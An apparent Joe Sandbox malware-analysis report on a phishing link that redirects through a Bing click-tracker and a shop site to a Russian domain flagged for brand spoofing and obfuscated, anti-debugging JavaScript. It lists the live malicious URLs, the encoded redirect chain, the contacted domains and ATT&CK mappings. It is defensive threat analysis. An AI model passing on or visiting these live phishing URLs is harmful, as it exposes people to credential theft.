Edit tour

Windows Analysis Report
https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%

Overview

General Information

Sample URL:	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cue
Analysis ID:	1576880

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious Javascript

AI detected suspicious URL

Form action URLs do not match main URL

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 5296 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6024 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1916,i,14681166411600306776,10979207420218593879,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6432 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY2... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY2... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the interaction with an unknown domain 'tBZTnYZ7P65ro81mJJn8pL20TBE8aV4bxaZ6erW6vjtxM6GOe59fx.lpliwptf.ru' further increase the risk. While the script may have some legitimate functionality, such as a CAPTCHA implementation, the overall behavior is highly suspicious and indicative of potential malicious intent.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY2... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially compromise the user's system.

AI detected suspicious URL

Source: Email

Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://cia.vomivor.ru

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi

HTTP Parser: Form action: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=10fa57ef-4895-4ab2-872c-8c3613d4f7fb&redirect_uri=https%3A%2F%2Fwww.microsoft.com%2Fcascadeauth%2Faccount%2Fsignin-oidc&response_type=code&prompt=none&scope=openid%20profile%20offline_access&code_challenge=WoiqQ9Wz1uMQfNOTkik87qF2aO8uxaG4cWXzl0kVvTE&code_challenge_method=S256&response_mode=form_post&nonce=638700497464990107.ZjlhY2NiNWUtODY0NC00ZDIwLWI1ZGItODI0ZjFkNzllM2JmZWNlNDk1ZDUtNjZkMS00ZmQ3LWE1OGUtNWExMzk2ZjU0MWYw&client_info=1&x-client-brkrver=IDWeb.3.2.0.0&msafed=0&claims=%7B%22compact%22%3A%7B%22name%22%3A%7B%22essential%22%3Atrue%7D%7D%7D&state=CfDJ8P_pstto1o1NgBRsh8q_Vvi3Aht0eB2Rw4To9qd7aUoCOC3E2kZrad73oGYxsTETZHYcFgoyhXw-lBqrl6OVCs4PnpWjeUrSa_KvbdiNp3IhjVGx6ZJxXsC8Ho-dQJ_Kw1BHSeD-t0IdQ1k9s8-b-0Uq_21w3CfkfcKxA82L3_dObyP13_LXyIT1bWapjWPb80T-0ONBLNPh4PsywDDK_krTCDxjKVOdCAOAPSv7n9s69ROHpQ7sHSsQnQe1pLwNyQd-HnwSeI4-mGhMKyrQuW5AdZeCUif-AM5WQrj5E0fIGpV6xY_hMaaIkJw6jEvACc5r6Q-qXX5azAfcj6V2VHXudoVMcUi6KiXnfk1KbQJ93IlhNvdMZF_AgDpCt-lkhqHP7A66VUPkm85DeEYIClvu1gtiG6bxLaKe12kFTPzHgCpq43Z1K63zNACoYqA7uxVQkPD7xzk_JjXl3tD4MRXq_SxMyyn05Ylgxa0iBnHO1o6PrlBoU6epc9NoyNcbgcBKBrxqiegy_5gz_n47SvY&x-client-SKU=ID_NET6_0&x-client-ver=8.1.0.0&sso_reload=true microsoft microsoftonline

Source: https://www.yuxingketang.com/collections/throw-blankets/#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	HTTP Parser: No favicon
Source: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t	HTTP Parser: No favicon
Source: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No <meta name="author".. found
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No <meta name="author".. found

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No <meta name="copyright".. found
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.17:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.17:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.0:443 -> 192.168.2.17:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49746 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109

Source: global traffic	DNS traffic detected: DNS query: www.yuxingketang.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cia.vomivor.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: tbztnyz7p65ro81mjjn8pl20tbe8av4bxaz6erw6vjtxm6goe59fx.lpliwptf.ru
Source: global traffic	DNS traffic detected: DNS query: cdn.botframework.com
Source: global traffic	DNS traffic detected: DNS query: play.vidyard.com
Source: global traffic	DNS traffic detected: DNS query: publisher.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: lpcdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: assets.adobedtm.com
Source: global traffic	DNS traffic detected: DNS query: lptag.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: mscom.demdex.net
Source: global traffic	DNS traffic detected: DNS query: msftenterprise.sc.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: cm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: accdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: static-assets.fs.liveperson.com
Source: global traffic	DNS traffic detected: DNS query: idsync.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: rtd.tubemogul.com
Source: global traffic	DNS traffic detected: DNS query: idpix.media6degrees.com
Source: global traffic	DNS traffic detected: DNS query: rtd-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: va.v.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: analytics.twitter.com
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: cms.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: servedby.flashtalking.com
Source: global traffic	DNS traffic detected: DNS query: a.tribalfusion.com
Source: global traffic	DNS traffic detected: DNS query: s.tribalfusion.com
Source: global traffic	DNS traffic detected: DNS query: www.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: cms.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: px.owneriq.net
Source: global traffic	DNS traffic detected: DNS query: jadserve.postrelease.com
Source: global traffic	DNS traffic detected: DNS query: ds.reson8.com
Source: global traffic	DNS traffic detected: DNS query: ups.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: z.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: bttrack.com
Source: global traffic	DNS traffic detected: DNS query: dmpsync.3lift.com
Source: global traffic	DNS traffic detected: DNS query: ag.innovid.com
Source: global traffic	DNS traffic detected: DNS query: rtb.adentifi.com
Source: global traffic	DNS traffic detected: DNS query: sync.crwdcntrl.net
Source: global traffic	DNS traffic detected: DNS query: sync-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: munchkin.marketo.net
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1916,i,14681166411600306776,10979207420218593879,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1916,i,14681166411600306776,10979207420218593879,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
s.tribalfusion.com	172.64.150.63	true	false	high
tbztnyz7p65ro81mjjn8pl20tbe8av4bxaz6erw6vjtxm6goe59fx.lpliwptf.ru	172.67.158.68	true	false	unknown
global.px.quantserve.com	91.228.74.200	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
cia.vomivor.ru	172.67.193.76	true	true	unknown
eu-eb2.3lift.com	13.248.245.213	true	false	high
bttrack.com	192.132.33.68	true	false	high
adobetarget.data.adobedc.net	66.235.152.156	true	false	high
idsync.rlcdn.com	35.244.154.8	true	false	high
code.jquery.com	151.101.2.137	true	false	high
sync.crwdcntrl.net	13.250.84.149	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
publisher.liveperson.net	34.120.154.120	true	false	high
cm.g.doubleclick.net	142.250.181.2	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
rtb.adentifi.com	100.24.163.168	true	false	high
www.google.com	142.250.181.100	true	false	high
dcs-ups.g03.yahoodns.net	188.125.88.204	true	false	high
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	52.211.121.244	true	false	high
msftenterprise.sc.omtrdc.net	63.140.62.17	true	false	high
match.adsrvr.org	3.33.220.150	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
s.twitter.com	104.244.42.3	true	false	high
aragorn-prod-or-acai-lb.inbake.com	52.41.210.176	true	false	high
www.yuxingketang.com	104.21.17.162	true	false	high
dsum-sec.casalemedia.com	104.18.26.193	true	false	high
a.tribalfusion.com	172.64.150.63	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
dh1y47vf5ttia.cloudfront.net	18.66.161.117	true	false	unknown
ib.anycast.adnxs.com	185.89.210.153	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
ag.innovid.com	unknown	unknown	false	high
idpix.media6degrees.com	unknown	unknown	false	high
va.v.liveperson.net	unknown	unknown	false	high
px.owneriq.net	unknown	unknown	false	high
cm.everesttech.net	unknown	unknown	false	high
static-assets.fs.liveperson.com	unknown	unknown	false	high
jadserve.postrelease.com	unknown	unknown	false	high
z.clarity.ms	unknown	unknown	false	high
dmpsync.3lift.com	unknown	unknown	false	high
accdn.lpsnmedia.net	unknown	unknown	false	high
assets.adobedtm.com	unknown	unknown	false	high
rtd.tubemogul.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
pixel.rubiconproject.com	unknown	unknown	false	high
munchkin.marketo.net	unknown	unknown	false	high
cms.analytics.yahoo.com	unknown	unknown	false	high
sync-tm.everesttech.net	unknown	unknown	false	high
lpcdn.lpsnmedia.net	unknown	unknown	false	high
ds.reson8.com	unknown	unknown	false	high
ups.analytics.yahoo.com	unknown	unknown	false	high
cdn.botframework.com	unknown	unknown	false	high
dpm.demdex.net	unknown	unknown	false	high
rtd-tm.everesttech.net	unknown	unknown	false	high
servedby.flashtalking.com	unknown	unknown	false	high
www.clarity.ms	unknown	unknown	false	high
mscom.demdex.net	unknown	unknown	false	high
play.vidyard.com	unknown	unknown	false	high
analytics.twitter.com	unknown	unknown	false	high
cms.quantserve.com	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
lptag.liveperson.net	unknown	unknown	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
23.47.232.109	unknown	United States	18101	RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC	false
20.189.173.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
91.228.74.200	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
52.41.210.176	aragorn-prod-or-acai-lb.inbake.com	United States	16509	AMAZON-02US	false
104.18.9.76	unknown	United States	13335	CLOUDFLARENETUS	false
35.244.154.8	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
185.89.210.153	ib.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
54.154.234.207	unknown	United States	16509	AMAZON-02US	false
52.167.30.171	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.120.154.120	publisher.liveperson.net	United States	15169	GOOGLEUS	false
66.235.152.221	unknown	United States	15224	OMNITUREUS	false
23.218.208.236	unknown	United States	6453	AS6453US	false
172.64.146.217	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
69.173.144.165	unknown	United States	26667	RUBICONPROJECTUS	false
104.21.17.162	www.yuxingketang.com	United States	13335	CLOUDFLARENETUS	false
3.33.220.150	match.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.248.245.213	eu-eb2.3lift.com	United States	16509	AMAZON-02US	false
18.66.161.117	dh1y47vf5ttia.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
54.155.160.118	unknown	United States	16509	AMAZON-02US	false
151.101.130.49	unknown	United States	54113	FASTLYUS	false
172.64.150.63	s.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
104.244.42.131	unknown	United States	13414	TWITTERUS	false
63.140.62.17	msftenterprise.sc.omtrdc.net	United States	15224	OMNITUREUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
66.235.152.156	adobetarget.data.adobedc.net	United States	15224	OMNITUREUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
13.250.84.149	sync.crwdcntrl.net	United States	16509	AMAZON-02US	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.19.206	unknown	United States	15169	GOOGLEUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.233.12.48	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.199.19.160	unknown	United States	15133	EDGECASTUS	false
172.217.17.46	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.49	unknown	United States	54113	FASTLYUS	false

IP
192.168.2.4
192.168.2.17

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576880
Start date and time:	2024-12-17 17:26:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@27/158@158/371

Input	Output
URL: https://www.bing.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.bing.com
URL: https://www.yuxingketang.com/collections/throw-bla... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including the use of base64 decoding and redirection to external URLs. While the intent may be to handle URL fragments, the lack of transparency and potential for abuse raises concerns. Further review is recommended to ensure the script's legitimacy and the trustworthiness of the target domains." }
